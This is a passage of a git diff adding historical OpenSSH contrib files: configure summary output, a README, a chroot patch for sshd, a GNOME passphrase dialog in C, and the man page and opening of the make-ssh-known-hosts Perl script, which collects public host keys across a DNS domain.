echo ${piddir}` ; G=`eval echo ${G}` + +echo "" +echo "OpenSSH configured has been configured with the following options." +echo " User binaries: $B" +echo " System binaries: $C" +echo " Configuration files: $D" +echo " Askpass program: $E" +echo " Manual pages: $F" +echo " PID file: $G" +echo " Random number collection: $RAND_MSG" +echo " Manpage format: $MAN_MSG" +echo " PAM support: ${PAM_MSG}" +echo " KerberosIV support: $KRB4_MSG" +echo " AFS support: $AFS_MSG" +echo " S/KEY support: $SKEY_MSG" +echo " TCP Wrappers support: $TCPW_MSG" +echo " MD5 password support: $MD5_MSG" +echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG" +echo " Use IPv4 by default hack: $IPV4_HACK_MSG" +echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG" + +echo "" + +echo "Compiler flags: ${CFLAGS}" +echo "Linker flags: ${LDFLAGS}" +echo "Libraries: ${LIBS}" + +echo "" + diff --git a/other/openssh-reverse/contrib/README b/other/openssh-reverse/contrib/README new file mode 100644 index 0000000..f04ad15 --- /dev/null +++ b/other/openssh-reverse/contrib/README @@ -0,0 +1,67 @@ +Other patches and addons for OpenSSH. Please send submissions to +djm@ibs.com.au + +In this directory +----------------- + +chroot.diff: + +Ricardo Cerqueira's patch to enable chrooting using the +wu-ftpd style magic home directories (containing '/./'). More details in +the head of the patch itself. + +make-ssh-known-hosts: + +Tero Kivinen's PERL script to generate +ssh_known_hosts files by trawling tjhrough the DNS. More details in the +manpage. + +ssh-copy-id: + +Phil Hands' shell script to automate the process of adding +your public key to a remote machine's ~/.ssh/authorized_keys file. + +gnome-ssh-askpass: + +A GNOME passphrase requester of my own creation. Compilation instructions +are in the top of the file. + +sshd.pam.generic: + +A generic PAM config file which may be useful on your system. YMMV + +sshd.pam.freebsd + +A PAM config file which works with FreeBSD's PAM port. Contributed by +Dominik Brettnacher + +redhat: + +RPM spec file an scripts for building Redhat packages + +suse: + +RPM spec file an scripts for building SuSE packages + + +Externally maintained +--------------------- + +liblogin: + +liblogin is Andre Lucas' cross platform login library. It handles all the +yucky details of wtmp, utmp and lastlog (which every OS vendor has +seen fit to implement differently) in one clean library. + +OpenSSH will require liblogin in the near future, but for now it is +recommended for users with login logging problems or curiosity. + +http://dspace.dial.pipex.com/andre.lucas/liblogin.html + +X11 SSH Askpass: + +Jim Knoble has written an excellent X11 +passphrase requester. This is highly recommended: + +http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/index.html + diff --git a/other/openssh-reverse/contrib/chroot.diff b/other/openssh-reverse/contrib/chroot.diff new file mode 100644 index 0000000..d2a42d8 --- /dev/null +++ b/other/openssh-reverse/contrib/chroot.diff @@ -0,0 +1,61 @@ +From: Ricardo Cerqueira + +A patch to cause sshd to chroot when it encounters the magic token +'/./' in a users home directory. The directory portion before the +token is the directory to chroot() to, the portion after the +token is the user's home directory relative to the new root. + +Index: session.c +=================================================================== +RCS file: /var/cvs/openssh/session.c,v +retrieving revision 1.4 +diff -u -r1.4 session.c +--- session.c 2000/04/16 02:31:51 1.4 ++++ session.c 2000/04/16 02:47:55 +@@ -27,6 +27,8 @@ + #include "ssh2.h" + #include "auth.h" + ++#define CHROOT ++ + /* types */ + + #define TTYSZ 64 +@@ -783,6 +785,10 @@ + extern char **environ; + struct stat st; + char *argv[10]; ++#ifdef CHROOT ++ char *user_dir; ++ char *new_root; ++#endif /* CHROOT */ + + #ifndef USE_PAM /* pam_nologin handles this */ + f = fopen("/etc/nologin", "r"); +@@ -799,6 +805,26 @@ + /* Set login name in the kernel. */ + if (setlogin(pw->pw_name) < 0) + error("setlogin failed: %s", strerror(errno)); ++ ++#ifdef CHROOT ++ user_dir = xstrdup(pw->pw_dir); ++ new_root = user_dir + 1; ++ ++ while((new_root = strchr(new_root, '.')) != NULL) { ++ new_root--; ++ if(strncmp(new_root, "/./", 3) == 0) { ++ *new_root = '\0'; ++ new_root += 2; ++ ++ if(chroot(user_dir) != 0) ++ fatal("Couldn't chroot to user directory %s", user_dir); ++ ++ pw->pw_dir = new_root; ++ break; ++ } ++ new_root += 2; ++ } ++#endif /* CHROOT */ + + /* Set uid, gid, and groups. */ + /* Login(1) does this as well, and it needs uid 0 for the "-h" diff --git a/other/openssh-reverse/contrib/gnome-ssh-askpass.c b/other/openssh-reverse/contrib/gnome-ssh-askpass.c new file mode 100644 index 0000000..5b6f65e --- /dev/null +++ b/other/openssh-reverse/contrib/gnome-ssh-askpass.c @@ -0,0 +1,155 @@ +/* + Compile with: + + cc `gnome-config --cflags gnome gnomeui` \ + gnome-ssh-askpass.c -o gnome-ssh-askpass \ + `gnome-config --libs gnome gnomeui` + +*/ + +/* +** +** GNOME ssh passphrase requestor +** +** Damien Miller +** +** Copyright 1999 Internet Business Solutions +** +** Permission is hereby granted, free of charge, to any person +** obtaining a copy of this software and associated documentation +** files (the "Software"), to deal in the Software without +** restriction, including without limitation the rights to use, copy, +** modify, merge, publish, distribute, sublicense, and/or sell copies +** of the Software, and to permit persons to whom the Software is +** furnished to do so, subject to the following conditions: +** +** The above copyright notice and this permission notice shall be +** included in all copies or substantial portions of the Software. +** +** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY +** KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE +** WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE +** AND NONINFRINGEMENT. IN NO EVENT SHALL DAMIEN MILLER OR INTERNET +** BUSINESS SOLUTIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +** LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, +** ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE +** OR OTHER DEALINGS IN THE SOFTWARE. +** +** Except as contained in this notice, the name of Internet Business +** Solutions shall not be used in advertising or otherwise to promote +** the sale, use or other dealings in this Software without prior +** written authorization from Internet Business Solutions. +** +*/ + +#include +#include +#include +#include +#include +#include + +void +report_failed_grab (void) +{ + GtkWidget *err; + + err = gnome_message_box_new("Could not grab keyboard or mouse.\n" + "A malicious client may be eavesdropping on your session.", + GNOME_MESSAGE_BOX_ERROR, "EXIT", NULL); + gtk_window_set_position(GTK_WINDOW(err), GTK_WIN_POS_CENTER); + gtk_object_set(GTK_OBJECT(err), "type", GTK_WINDOW_POPUP, NULL); + + gnome_dialog_run_and_close(GNOME_DIALOG(err)); +} + +void +passphrase_dialog(char *message) +{ + char *passphrase; + int result; + + GtkWidget *dialog, *entry, *label; + + dialog = gnome_dialog_new("OpenSSH", GNOME_STOCK_BUTTON_OK, + GNOME_STOCK_BUTTON_CANCEL, NULL); + + label = gtk_label_new(message); + gtk_box_pack_start(GTK_BOX(GNOME_DIALOG(dialog)->vbox), label, FALSE, + FALSE, 0); + + entry = gtk_entry_new(); + gtk_box_pack_start(GTK_BOX(GNOME_DIALOG(dialog)->vbox), entry, FALSE, + FALSE, 0); + gtk_entry_set_visibility(GTK_ENTRY(entry), FALSE); + gtk_widget_grab_focus(entry); + + /* Center window and prepare for grab */ + gtk_object_set(GTK_OBJECT(dialog), "type", GTK_WINDOW_POPUP, NULL); + gnome_dialog_set_default(GNOME_DIALOG(dialog), 0); + gtk_window_set_position (GTK_WINDOW(dialog), GTK_WIN_POS_CENTER); + gtk_window_set_policy(GTK_WINDOW(dialog), FALSE, FALSE, TRUE); + gnome_dialog_close_hides(GNOME_DIALOG(dialog), TRUE); + gtk_container_set_border_width(GTK_CONTAINER(GNOME_DIALOG(dialog)->vbox), GNOME_PAD); + gtk_widget_show_all(dialog); + + /* Grab focus */ + XGrabServer(GDK_DISPLAY()); + if (gdk_pointer_grab(dialog->window, TRUE, 0, + NULL, NULL, GDK_CURRENT_TIME)) + goto nograb; + if (gdk_keyboard_grab(dialog->window, FALSE, GDK_CURRENT_TIME)) + goto nograbkb; + + /* Make close dialog */ + gnome_dialog_editable_enters(GNOME_DIALOG(dialog), GTK_EDITABLE(entry)); + + /* Run dialog */ + result = gnome_dialog_run(GNOME_DIALOG(dialog)); + + /* Ungrab */ + XUngrabServer(GDK_DISPLAY()); + gdk_pointer_ungrab(GDK_CURRENT_TIME); + gdk_keyboard_ungrab(GDK_CURRENT_TIME); + gdk_flush(); + + /* Report passphrase if user selected OK */ + passphrase = gtk_entry_get_text(GTK_ENTRY(entry)); + if (result == 0) + puts(passphrase); + + /* Zero passphrase in memory */ + memset(passphrase, '\0', strlen(passphrase)); + gtk_entry_set_text(GTK_ENTRY(entry), passphrase); + + gnome_dialog_close(GNOME_DIALOG(dialog)); + return; + + /* At least one grab failed - ungrab what we got, and report + the failure to the user. Note that XGrabServer() cannot + fail. */ + nograbkb: + gdk_pointer_ungrab(GDK_CURRENT_TIME); + nograb: + XUngrabServer(GDK_DISPLAY()); + gnome_dialog_close(GNOME_DIALOG(dialog)); + + report_failed_grab(); +} + +int +main(int argc, char **argv) +{ + char *message; + + gnome_init("GNOME ssh-askpass", "0.1", argc, argv); + + if (argc == 2) + message = argv[1]; + else + message = "Enter your OpenSSH passphrase:"; + + setvbuf(stdout, 0, _IONBF, 0); + passphrase_dialog(message); + return 0; +} diff --git a/other/openssh-reverse/contrib/make-ssh-known-hosts.1 b/other/openssh-reverse/contrib/make-ssh-known-hosts.1 new file mode 100644 index 0000000..54ddfe6 --- /dev/null +++ b/other/openssh-reverse/contrib/make-ssh-known-hosts.1 @@ -0,0 +1,432 @@ +.\" -*- nroff -*- +.\" ---------------------------------------------------------------------- +.\" make-ssh-known-hosts.1 -- Make ssh-known-hosts file +.\" Copyright (c) 1995 Tero Kivinen +.\" All Rights Reserved. +.\" +.\" Make-ssh-known-hosts is distributed in the hope that it will be +.\" useful, but WITHOUT ANY WARRANTY. No author or distributor accepts +.\" responsibility to anyone for the consequences of using it or for +.\" whether it serves any particular purpose or works at all, unless he +.\" says so in writing. Refer to the General Public License for full +.\" details. +.\" +.\" Everyone is granted permission to copy, modify and redistribute +.\" make-ssh-known-hosts, but only under the conditions described in +.\" the General Public License. A copy of this license is supposed to +.\" have been given to you along with make-ssh-known-hosts so you can +.\" know your rights and responsibilities. It should be in a file named +.\" COPYING. Among other things, the copyright notice and this notice +.\" must be preserved on all copies. +.\" ---------------------------------------------------------------------- +.\" Program: make-ssh-known-hosts.1 +.\" $Source: /var/cvs/openssh/contrib/make-ssh-known-hosts.1,v $ +.\" Author : $Author: damien $ +.\" +.\" (C) Tero Kivinen 1995 +.\" +.\" Creation : 03:51 Jun 28 1995 kivinen +.\" Last Modification : 03:44 Jun 28 1995 kivinen +.\" Last check in : $Date: 2000/03/15 01:13:03 $ +.\" Revision number : $Revision: 1.1 $ +.\" State : $State: Exp $ +.\" Version : 1.1 +.\" +.\" Description : Manual page for make-ssh-known-hosts.pl +.\" +.\" $Log: make-ssh-known-hosts.1,v $ +.\" Revision 1.1 2000/03/15 01:13:03 damien +.\" - Created contrib/ subdirectory. Included helpers from Phil Hands' +.\" Debian package, README file and chroot patch from Ricardo Cerqueira +.\" +.\" - Moved gnome-ssh-askpass.c to contrib directory and reomved config +.\" option. +.\" - Slight cleanup to doc files +.\" +.\" Revision 1.4 1998/07/08 00:40:14 kivinen +.\" Changed to do similar commercial #ifdef processing than other +.\" files. +.\" +.\" Revision 1.3 1998/06/11 00:07:21 kivinen +.\" Fixed comment characters. +.\" +.\" Revision 1.2 1997/04/27 21:48:28 kivinen +.\" Added F-SECURE stuff. +.\" +.\" Revision 1.1.1.1 1996/02/18 21:38:13 ylo +.\" Imported ssh-1.2.13. +.\" +.\" Revision 1.5 1995/10/02 01:23:23 ylo +.\" Make substitutions by configure. +.\" +.\" Revision 1.4 1995/08/31 09:21:35 ylo +.\" Minor cleanup. +.\" +.\" Revision 1.3 1995/08/29 22:37:10 ylo +.\" Minor cleanup. +.\" +.\" Revision 1.2 1995/07/15 13:26:11 ylo +.\" Changes from kivinen. +.\" +.\" Revision 1.1.1.1 1995/07/12 22:41:05 ylo +.\" Imported ssh-1.0.0. +.\" +.\" +.\" +.\" If you have any useful modifications or extensions please send them to +.\" Tero.Kivinen@hut.fi +.\" +.\" +.\" +.\" +.\" +.\" #ifndef F_SECURE_COMMERCIAL +.TH MAKE-SSH-KNOWN-HOSTS 1 "November 8, 1995" "SSH TOOLS" "SSH TOOLS" +.\" #endif F_SECURE_COMMERCIAL +.SH NAME +make-ssh-known-hosts \- make ssh_known_hosts file from DNS data +.SH SYNOPSIS +.na +.TP +.B make-ssh-known-hosts +.RB "[\|" "\-\-initialdns "\c +.I initial_dns\c +\|] +.br +.RB "[\|" "\-\-server "\c +.I domain_name_server\c +\|] +.br +.RB "[\|" "\-\-subdomains "\c +.I comma_separated_list_of_subdomains\c +\|] +.br +.RB "[\|" "\-\-debug "\c +.I debug_level\c +\|] +.br +.RB "[\|" "\-\-timeout "\c +.I ssh_exec_timeout\c +\|] +.br +.RB "[\|" "\-\-pingtimeout "\c +.I ping_timeout\c +\|] +.br +.RB "[\|" "\-\-passwordtimeout "\c +.I timeout_when_asking_password\c +\|] +.br +.RB "[\|" "\-\-notrustdaemon" "\|]" +.br +.RB "[\|" "\-\-norecursive" "\|]" +.br +.RB "[\|" "\-\-domainnamesplit" "\|]" +.br +.RB "[\|" "\-\-silent" "\|]" +.br +.RB "[\|" "\-\-keyscan" "\|]" +.br +.RB "[\|" "\-\-nslookup "\c +.I path_to_nslookup_program\c +\|] +.br +.RB "[\|" "\-\-ssh "\c +.I path_to_ssh_program\c +\|] +.br +.IR "domain_name " "[\|" "take_regexp " "[\|" "remove_regexp"\|]\|]" + +.SH DESCRIPTION +.LP +.B make-ssh-known-hosts +is a perl5 script that helps create the +.I /etc/ssh_known_hosts +file, which is used by +.B ssh +to contain the host keys of all publicly known hosts. +.B Ssh +does not normally permit login using rhosts or /etc/hosts.equiv +authentication unless the server knows the client's host key. In +addition, the host keys are used to prevent man-in-the-middle attacks. +.LP +In addition to +.IR /etc/ssh_known_hosts ", +.B ssh +also uses the +.I $HOME/.ssh/known_hosts +file. This file, however, is intended to contain only those hosts +that the particular user needs but are not in the global file. It is +intended that the +.I /etc/ssh_known_hosts +file be maintained by the system administration, and periodically +updated to contain the host keys for any new hosts. +.LP +The +.B make-ssh-known-hosts +program finds all the hosts in a domain by making a DNS query to the +master domain name server of the domain. The master domain name server +is located by searching for the SOA record of the domain from the initial +domain name server (which can be specified with the +.B \-\-initialdns +option). The master domain name server can also be given directly with +the +.B \-\-server +option. +.LP +After getting the hostname list +.B make-ssh-known-hosts +tries to get the public key from every host in the domain. It first +tries to connect ssh port to check check if the host is alive, and if +so, it tries to run the command +.B cat /etc/ssh_host_key.pub +on the remote machine using +.BR ssh ". +If the command succeeds, it knows the remote machine has +.B ssh +installed properly, and it then extracts the public key from the +output, and prints the +.B /etc/ssh_known_hosts +entry for it to +.BR STDOUT ". Because +.B make-ssh-known-hosts +is usually run before +remote machines have /etc/ssh_known_hosts file you may have to use +RSA-authentication to allow access to hosts. +.LP +If the command fails for some reason, it checks if the +.B ssh +client still got the public key from the remote host in the initial dialog, +and if so, it will print a proper entry, and if +.B \-\-notrustdaemon +option is given comment it out. +.LP +.I Domain_name +is the domain name for which the file is to be generated. By default +.B make-ssh-known-hosts +extracts also all subdomains of domain. Many sites will want to +include several domains in their +.I /etc/ssh_known_hosts +file. The entries for each domain should be extracted separately by +running +.B make-ssh-known-hosts +once for each domain. The results should then be combined to create +the final file. +.LP +.I Take_regexp +is a perl regular expression that matches the hosts to be taken from the +domain. The data matched contains all the DNS records in the form "\|\c +.B fieldname=value\c +\|". The fields are separated with newline, and the perl match is made in +multiline mode and it is case insensetive. The multiline mode means +that you can use a regexp like "\|\c +.B ^wks=.*telnet.*$\c +\|" to match all hosts that have WKS (well known services) field that +contains value "telnet". +.LP +.I Remove_regexp +is similar but those hosts that match the regexp are not added (it can +be used for example to filter out PCs and Macs using the hinfo field: "\|\c +.B ^hinfo=.*(mac|pc)\c +\|"). + +.SH OPTIONS +.TP +.BI "\-\-initialdns " "initial_dns"\c +.TP +.BI "\-i " "initial_dns"\c +\&Set the initial domain name server used to query the SOA record of the +domain. + +.TP +.BI "\-\-server " "domain_name_server"\c +.TP +.BI "\-se " "domain_name_server"\c +\&Set the master domain name server of the domain. This host is used +to query the DNS list of the domain. + +.TP +.BI "\-\-subdomains " "subdomainlist"\c +.TP +.BI "\-su " "subdomainlist"\c +\&Comma separated list of subdomains that are added to hostnames. For +example, if subdomainlist is "\|\c +.I ,foo, foo.bar, foo.bar.zappa, foo.bar.zappa.hut.fi\c +\|" then when host foobar is added to +.B /etc/ssh_known_hosts +file it has aliases "\|\c +.I foobar, foobar.foo, foobar.foo.bar, foobar.foo.bar.zappa, foobar.foo.bar.zappa.hut.fi\c +\|". The default action is to take all subparts of the host but the +second last on a host by host basis. (The last element is usually the +country code, and something like +.I foobar.foo.bar.zappa.hut +would not make sense.) + +.TP +.BI "\-\-debug " "debug_level"\c +.TP +.BI "\-de " "debug_level"\c +\&Set the debug level. Default is 5, bigger values give more output. +Using a big value (like 999) will print lots of debugging output. + +.TP +.BI "\-\-timeout " "ssh_exec_timeout"\c +.TP +.BI "\-ti " "ssh_exec_timeout"\c +\&Timeout when executing +.B ssh +command. The default is 60 seconds. + +.TP +.BI "\-\-pingtimeout " "ping_timeout"\c +.TP +.BI "\-pi " "ping_timeout"\c +\&Timeout when trying to ping the ssh port. The default is 3 seconds. + +.TP +.BI "\-\-passwordtimeout " "timeout_when_asking_password"\c +.TP +.BI "\-pa " "timeout_when_asking_password"\c +\&Timeout when asking password for ssh command. Default is that no +passwords are queried. Use value 0 to have no timeout for password queries. + +.TP +.BI "\-\-notrustdaemon"\c +.TP +.BI "\-notr"\c +\&If the +.B ssh +command fails, use the public key stored in the local known hosts file +and trust it is the correct key for the host. If this option is not +given such entries are commented out in the generated +.B /etc/ssh_known_hosts +file. + +.TP +.BI "\-\-norecursive"\c +.TP +.BI "\-nor"\c +\&Tell +.B make-ssh-known-hosts +that it should only extract keys for the given domain, and not to be +recursive. + +.TP +.BI "\-\-domainnamesplit"\c +.TP +.BI "\-do"\c +\&Split the domainname to get the list of subdomains. Use this option +if you don't want hostname to splitted to pieces automatically. +Default splitting is done host by host basis. If the domain is +zappa.hut.fi, and the host name is foo.bar then default action adds +entries "\|\c +.I foo, foo.bar, foo.bar.zappa, foo.bar.zappa.hut.fi\c +\|" and this options adds entries "\|\c +.I foo.bar, foo.bar.zappa, foo.bar.zappa.hut.fi\c +\|"). + +.TP +.BI "\-\-silent"\c +.TP +.BI "\-si"\c +\&Be silent. + +.TP +.BI "\-\-keyscan"\c +.TP +.BI "\-k"\c +\&Output list of all hosts in format "ipaddr1,ipaddr2,...ipaddrn +hostname.domain.co,hostname,ipaddr1,ipaddr2,all_other_hostname_entries". +The output of this can be feeded to ssh-keyscan to fetch keys. + +.TP +.BI "\-\-nslookup " "path_to_nslookup_program"\c +.TP +.BI "\-n " "path_to_nslookup_program"\c +\&Path to the +.B nslookup +program. + +.TP +.BI "\-\-ssh " "path_to_ssh_program"\c +.TP +.BI "\-ss " "path_to_ssh_program"\c +\&Path to the +.B ssh +program, including all options. + +.SH EXAMPLES +.LP +The following command: +.IP +.B example# make-ssh-known-hosts cs.hut.fi > \c +.B /etc/ssh_known_hosts +.LP +finds all public keys of the hosts in +.B cs.hut.fi +domain and put them to +.B /etc/ssh_known_hosts +file splitting domain names on a per host basis. +.LP +The command +.IP +.B example% make-ssh-known-hosts hut.fi '^wks=.*ssh' > \c +.B hut-hosts +.LP +finds all hosts in +.B hut.fi +domain, and its subdomains having own name server (cs.hut.fi, +tf.hut.fi, tky.hut.fi) that have ssh service and puts their public key +to hut-hosts file. This would require that the domain name server of +hut.fi would define all hosts running ssh to have entry ssh in their +WKS record. Because nobody yet adds ssh to WKS, it would be better to +use command +.IP +.B example% make-ssh-known-hosts hut.fi '^wks=.*telnet' > \c +.B hut-hosts +.LP +that would take those host having telnet service. This uses default +subdomain list. + +.LP +The command: +.IP +.B example% make-ssh-known-hosts hut.fi 'dipoli.hut.fi' '^hinfo=.*(mac|pc)' > \c +.B dipoli-hosts +.LP +finds all hosts in hut.fi domain that are in dipoli.hut.fi subdomain +(note dipoli.hut.fi does not have own name server so its entries are +in hut.fi-server) and that are not Mac or PC. + +.SH FILES +.ta 3i +/etc/ssh_known_hosts Global host public key list + +.SH "SEE ALSO" +.BR ssh (1), +.BR sshd (8), +.BR ssh-keygen (1), +.BR ping (8), +.BR nslookup (8), +.BR perl (1), +.BR perlre (1) + +.SH AUTHOR +Tero Kivinen + +.SH COPYING +.LP +Permission is granted to make and distribute verbatim copies of +this manual provided the copyright notice and this permission notice +are preserved on all copies. +.LP +Permission is granted to copy and distribute modified versions of this +manual under the conditions for verbatim copying, provided that the +entire resulting derived work is distributed under the terms of a +permission notice identical to this one. +.LP +Permission is granted to copy and distribute translations of this +manual into another language, under the above conditions for modified +versions, except that this permission notice may be included in +translations approved by the the author instead of in the original +English. diff --git a/other/openssh-reverse/contrib/make-ssh-known-hosts.pl b/other/openssh-reverse/contrib/make-ssh-known-hosts.pl new file mode 100644 index 0000000..38e6582 --- /dev/null +++ b/other/openssh-reverse/contrib/make-ssh-known-hosts.pl @@ -0,0 +1,737 @@ +#!/usr/bin/perl -w +# -*- perl -*- +###################################################################### +# make-ssh-known-hosts.pl -- Make ssh-known-hosts file +# Copyright (c) 1995 Tero Kivinen +# All Rights Reserved. +# +# Make-ssh-known-hosts is distributed in the hope that it will be +# useful, but WITHOUT ANY WARRANTY. No author or distributor accepts +# responsibility to anyone for the consequences of using it or for +# whether it serves any particular purpose or works at all, unless he +# says so in writing. Refer to the GNU General Public License for full +# details. +# +# Everyone is granted permission to copy, modify and redistribute +# make-ssh-known-hosts, but only under the conditions described in +# the GNU General Public License. A copy of this license is supposed to +# have been given to you along with make-ssh-known-hosts so you can +# know your rights and responsibilities. It should be in a file named +# gnu-COPYING-GPL. Among other things, the copyright notice and this notice +# must be preserved on all copies. +###################################################################### +# Program: make-ssh-known-hosts.pl +# $Source: /var/cvs/openssh/contrib/make-ssh-known-hosts.pl,v $ +# Author : $Author: damien $ +# +# (C) Tero Kivinen 1995 +# +# Creation : 19:52 Jun 27 1995 kivinen +# Last Modification : 00:07 Jul 8 1998 kivinen +# Last check in : $Date: 2000/03/15 01:13:03 $ +# Revision number : $Revision: 1.1 $ +# State : $State: Exp $ +# Version : 1.343 +# Edit time : 242 min +# +# Description : Make ssh-known-host file from dns data. +# +# $Log: make-ssh-known-hosts.pl,v $ +# Revision 1.1 2000/03/15 01:13:03 damien +# - Created contrib/ subdirectory. Included helpers from Phil Hands' +# Debian package, README file and chroot patch from Ricardo Cerqueira +# +# - Moved gnome-ssh-askpass.c to contrib directory and reomved config +# option. +# - Slight cleanup to doc files +# +# Revision 1.6 1998/07/08 00:44:23 kivinen +# Fixed to understand bind 8 nslookup output. +# +# Revision 1.5 1998/04/30 01:53:33 kivinen +# Moved kill before close and added sending SIGINT first and +# then 1 second sleep before sending SIGKILL. +# +# Revision 1.4 1998/04/17 00:39:19 kivinen +# Changed to close ssh program filedescriptor before killing it. +# Removed ^ from the password matching prompt. +# +# Revision 1.3 1997/04/17 04:21:27 kivinen +# Changed to use 3des by default. +# +# Revision 1.2 1997/03/26 07:14:01 kivinen +# Added EWOULDBLOCK. +# +# Revision 1.1.1.1 1996/02/18 21:38:10 ylo +# Imported ssh-1.2.13. +# +# Revision 1.4 1995/10/02 01:23:45 ylo +# Ping packet size fixes from Kivinen. +# +# Revision 1.3 1995/08/29 22:37:39 ylo +# Now uses GlobalKnownHostsFile and UserKnownHostsFile. +# +# Revision 1.2 1995/07/15 13:26:37 ylo +# Changes from kivinen. +# +# Revision 1.1.1.1 1995/07/12 22:41:05 ylo +# Imported ssh-1.0.0. +# +# +# +# If you have any useful modifications or extensions please send them to +# Tero.Kivinen@hut.fi +# +###################################################################### +# initialization + +require 5.000; +use Getopt::Long; +use FileHandle; +use POSIX; +use Socket; +use Fcntl; + +$version = ' $Id: make-ssh-known-hosts.pl,v 1.1 2000/03/15 01:13:03 damien Exp $ '; + +$command_line = "$0 "; +foreach $a (@ARGV) { + $command_line .= $a . " "; +} +STDERR->autoflush(1); + +###################################################################### +# default values for options + +$debug = 5; +$defserver = ''; +$bell='\a'; +$public_key = '/etc/ssh_host_key.pub'; +$private_ssh_known_hosts = "/tmp/ssh_known_hosts$$"; +$timeout = 60; +$ping_timeout = 3; +$passwordtimeout = undef; +$trustdaemon = 1; +$domainnamesplit = 0; +$recursive = 1; + +###################################################################### +# Programs and their options + +$nslookup = "nslookup"; + +$ssh="ssh -a -c 3des -x -o 'ConnectionAttempts 1' -o 'FallBackToRsh no' -o 'GlobalKnownHostsFile /dev/null' -o 'KeepAlive yes' -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile $private_ssh_known_hosts'"; +$sshdisablepasswordoption="-o 'BatchMode yes' -o 'PasswordAuthentication no'"; + +###################################################################### +# Cleanup and initialization + +unlink($private_ssh_known_hosts); +$sockaddr = 'S n a4 x8'; +($junk, $junk, $sshport) = getservbyname("ssh", "tcp"); +if (!defined($sshport)) { + $sshport = 22; +} +($tcpprotoname, $junk, $tcpproto) = getprotobyname('tcp'); +defined($tcpprotoname) || die "getprotobyname : $!"; + +###################################################################### +# Parse options + +GetOptions("initialdns=s", "server=s", "subdomains=s", + "debug=i", "timeout=i", "passwordtimeout=i", + "trustdaemon!", "domainnamesplit", "silent", + "nslookup=s", "pingtimeout=i", "recursive!", + "keyscan", + "ssh=s") + || die "Getopt : $!"; + +if (defined($opt_initialdns)) { $defserver = $opt_initialdns; } + +if (defined($opt_server)) { $server = $opt_server; } + +if (defined($opt_subdomains)) { @subdomains = split(/,/, $opt_subdomains); } + +if (defined($opt_debug)) { $debug = $opt_debug; } + +if (defined($opt_timeout)) { $timeout = $opt_timeout; } + +if (defined($opt_pingtimeout)) { $ping_timeout = $opt_pingtimeout; } + +if (defined($opt_passwordtimeout)) { + $passwordtimeout = $opt_passwordtimeout; + $sshdisablepasswordoption = ''; +} + +if (defined($opt_trustdaemon)) { $trustdaemon = $opt_trustdaemon; } + +if (defined($opt_recursive)) { $recursive = $opt_recursive; } + +if (defined($opt_domainnamesplit)) { $domainnamesplit = $opt_domainnamesplit; } + +if (defined($opt_silent)) { $bell = ''; } + +if (defined($opt_nslookup)) { $nslookup = $opt_nslookup; } + +if (defined($opt_ssh)) { $ssh = $opt_ssh; } else { + $ssh = "$ssh $sshdisablepasswordoption"; +} + +if ($#ARGV == 0) { + $domain = "\L$ARGV[0]\E"; + $grep_yes = '.*'; + $grep_no = '^$'; +} elsif ($#ARGV == 1) { + $domain = "\L$ARGV[0]\E"; + $grep_yes = $ARGV[1]; + $grep_no = '^$'; +} elsif ($#ARGV == 2) { + $domain = "\L$ARGV[0]\E"; + $grep_yes = $ARGV[1]; + $grep_no = $ARGV[2]; +} else { + print(STDERR "$0 [--initialdns initial_dns_server] [--server dns_server] [--subdomains sub.sub.domain,sub.sub,sub,] [--debug debug_level] [--timeout ssh_exec_timeout_in_secs] [--pingtimeout ping_timeout_in_secs] [--passwordtimeout timeout_for_password_in_secs] [--notrustdaemon] [--norecursive] [--domainnamesplit] [--silent] [--keyscan] [--nslookup path_to_nslookup] [--ssh path_to_ssh] full.domain [ host_info_take_regexp [ host_info_remove_regex ]]\n"); + exit(1); +} + +###################################################################### +# Check that ssh program exists + +if (system("$ssh > /dev/null 2>&1 ") != 256) { + print(STDERR "Error: Could not run ssh program ($ssh): $!\nError: Try giving the path to it with --ssh option\n"); + exit(1); +} + +###################################################################### +# Generate subdomains list + +if (!$domainnamesplit) { + debug(6, "Auto splitting host entries"); +} elsif (!defined(@subdomains)) { + debug(6, "Generating subdomain list"); + + # split domain to pieces + @domain_pieces = split(/\./, $domain); + + # add empty domain part + push(@subdomains, ''); + + # add rest parts, except the one before full domain name + $entry=''; + for(; $#domain_pieces > 1; ) { + $entry .= "." . shift(@domain_pieces); + push(@subdomains, $entry); + } + + # add full domain name + push(@subdomains, ".$domain"); + debug(5, "Subdomain list: " . join(',', @subdomains)); +} else { + debug(5, "Using given subdomain list:" . join(',', @subdomains)); +} + +###################################################################### +# finding SOA entry for domain + +@other_servers = (); +if (!defined($server)) { + debug(6, "Finding DNS database SOA entry"); + + ($server, @other_servers) = find_soa($domain, $defserver); + + if (!defined($server)) { + print(STDERR "Error: Could not find DNS SOA entry from default dns server\nError: Try giving the initial nameserver with --initialdns option\n"); + exit(1); + } else { + debug(5, "DNS server found : $server"); + } +} else { + debug(5, "Using given DNS server : $server"); +} + +###################################################################### +# Print header + +($name, $junk, $junk, $junk, $junk, $junk, $gecos) = getpwuid($<); +$gecos =~ s/,.*$//g; + +if (!defined($opt_keyscan)) { + print(STDOUT "# This file is generated with make-ssh-known-hosts.pl\n"); + print(STDOUT "#$version\n"); + print(STDOUT "# with command line :\n"); + print(STDOUT "# $command_line\n"); + print(STDOUT "#\n"); + print(STDOUT "# The script was run by $gecos ($name) at " . localtime() . "\n"); + print(STDOUT "# using perl ($^X) version $].\n"); +} + +###################################################################### +# Get DNS database list from server + +do { + $domains_done{$domain} = 1; + delete $domains_waiting{$domain}; + + $hostcnt = 0; + $cnamecnt = 0; + $lines = 0; + $soa = 0; + undef %host; + undef %cname; + undef %hostdata; + + dnsagain: + debug(1, "Getting DNS database for $domain from server $server"); + open(DNS, "echo ls -d $domain | nslookup - $server 2>&1 |") || + die "Error: Could not start nslookup to make dns list : $!\nError: Try giving --nslookup option and telling the path to nslookup program\n"; + + while() { + $lines++; + chomp; + undef $hostname if/^\s*$/; + if (/^\s{0,1}([a-zA-Z0-9-]\S*)/) { + $hostname = "\L$1\E"; + } + 